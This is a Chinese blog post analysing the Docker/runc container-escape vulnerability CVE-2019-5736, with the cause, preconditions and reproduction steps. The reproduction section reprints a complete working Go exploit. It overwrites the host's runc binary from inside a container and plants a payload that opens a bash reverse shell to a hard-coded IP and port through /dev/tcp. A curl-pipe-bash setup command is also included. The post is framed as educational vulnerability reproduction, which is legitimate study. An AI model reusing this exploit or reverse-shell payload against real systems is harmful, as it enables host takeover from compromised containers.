Docker逃逸---CVE-2019-5736浅析

2023-10-18 05:20
文章标签 docker 2019 浅析 cve 逃逸 5736

本文主要是介绍Docker逃逸---CVE-2019-5736浅析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、产生原因

Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc

漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件

然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用

二、利用条件

1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前

2、容器以root权限运行

三、复现过程

1、环境搭建

docker和runc版本如下

 下载docker环境脚本并运行

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

下载不了可以复制下面代码

package main// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import ("fmt""io/ioutil""os""strconv""strings""flag"
)var shellCmd stringfunc init() {flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")flag.Parse()
}func main() {// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd// First we overwrite /bin/sh with the /proc/self/exe interpreter pathfd, err := os.Create("/bin/sh")if err != nil {fmt.Println(err)return}fmt.Fprintln(fd, "#!/proc/self/exe")err = fd.Close()if err != nil {fmt.Println(err)return}fmt.Println("[+] Overwritten /bin/sh successfully")// Loop through all processes to find one whose cmdline includes runcinit// This will be the process created by runcvar found intfor found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)if strings.Contains(fstring, "runc") {fmt.Println("[+] Found the PID:", f.Name())found, err = strconv.Atoi(f.Name())if err != nil {fmt.Println(err)return}}}}// We will use the pid to get a file handle for runc on the host.var handleFd = -1for handleFd == -1 {// Note, you do not need to use the O_PATH flag for the exploit to work.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)if int(handle.Fd()) > 0 {handleFd = int(handle.Fd())}}fmt.Println("[+] Successfully got the file handle")// Now that we have the file handle, lets write to the runc binary and overwrite it// It will maintain it's executable flagfor {writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)if int(writeHandle.Fd()) > 0 {fmt.Println("[+] Successfully got write handle", writeHandle)fmt.Println("[+] The command executed is" + payload)writeHandle.Write([]byte(payload))return}}
}

改为要反弹的主机和端口

这里把编译好的main复制到容器内执行,模拟攻击者

go build -o main main.go
docker cp main 33c6927d312d:/tmp

3、执行脚本,然后等待管理员执行命令,反弹shell

容器内运行脚本    ./main

模拟管理员执行exec命令

攻击机监听,成功反弹宿主机shell

这篇关于Docker逃逸---CVE-2019-5736浅析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/230436

相关文章

浅析python如何去掉字符串中最后一个字符

《浅析python如何去掉字符串中最后一个字符》在Python中,字符串是不可变对象,因此无法直接修改原字符串,但可以通过生成新字符串的方式去掉最后一个字符,本文整理了三种高效方法,希望对大家有所帮助... 目录方法1:切片操作(最推荐)方法2:长度计算索引方法3:拼接剩余字符(不推荐,仅作演示)关键注意事

python项目打包成docker容器镜像的两种方法实现

《python项目打包成docker容器镜像的两种方法实现》本文介绍两种将Python项目打包为Docker镜像的方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要... 目录简单版:(一次成功,后续下载对应的软件依赖)第一步:肯定是构建dockerfile,如下:第二步

Python + Streamlit项目部署方案超详细教程(非Docker版)

《Python+Streamlit项目部署方案超详细教程(非Docker版)》Streamlit是一款强大的Python框架,专为机器学习及数据可视化打造,:本文主要介绍Python+St... 目录一、针对 Alibaba Cloud linux/Centos 系统的完整部署方案1. 服务器基础配置(阿里

浅析Python中如何处理Socket超时

《浅析Python中如何处理Socket超时》在网络编程中,Socket是实现网络通信的基础,本文将深入探讨Python中如何处理Socket超时,并提供完整的代码示例和最佳实践,希望对大家有所帮助... 目录开篇引言核心要点逐一深入讲解每个要点1. 设置Socket超时2. 处理超时异常3. 使用sele

Docker + Redis 部署集群的实现步骤

《Docker+Redis部署集群的实现步骤》本文详细介绍了在三台服务器上部署高可用Redis集群的完整流程,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋... 目录一、环境准备1. 服务器规划(3 台服务器)2. 防火墙配置(三台服务器均执行)3. 安装 docke

解决docker目录内存不足扩容处理方案

《解决docker目录内存不足扩容处理方案》文章介绍了Docker存储目录迁移方法:因系统盘空间不足,需将Docker数据迁移到更大磁盘(如/home/docker),通过修改daemon.json配... 目录1、查看服务器所有磁盘的使用情况2、查看docker镜像和容器存储目录的空间大小3、停止dock

docker 重命名镜像的实现方法

《docker重命名镜像的实现方法》在Docker中无法直接重命名镜像,但可通过添加新标签、删除旧镜像后重新拉取/构建,或在DockerCompose中修改配置文件实现名称变更,感兴趣的可以了解一下... 目录使用标签(Tagging)删除旧的php镜像并重新拉取或构建使用docker Compose在Do

docker编写java的jar完整步骤记录

《docker编写java的jar完整步骤记录》在平常的开发工作中,我们经常需要部署项目,开发测试完成后,最关键的一步就是部署,:本文主要介绍docker编写java的jar的相关资料,文中通过代... 目录all-docker/生成Docker打包部署文件配置服务A的Dockerfile (a/Docke

Docker多阶段镜像构建与缓存利用性能优化实践指南

《Docker多阶段镜像构建与缓存利用性能优化实践指南》这篇文章将从原理层面深入解析Docker多阶段构建与缓存机制,结合实际项目示例,说明如何有效利用构建缓存,组织镜像层次,最大化提升构建速度并减少... 目录一、技术背景与应用场景二、核心原理深入分析三、关键 dockerfile 解读3.1 Docke

通过Docker容器部署Python环境的全流程

《通过Docker容器部署Python环境的全流程》在现代化开发流程中,Docker因其轻量化、环境隔离和跨平台一致性的特性,已成为部署Python应用的标准工具,本文将详细演示如何通过Docker容... 目录引言一、docker与python的协同优势二、核心步骤详解三、进阶配置技巧四、生产环境最佳实践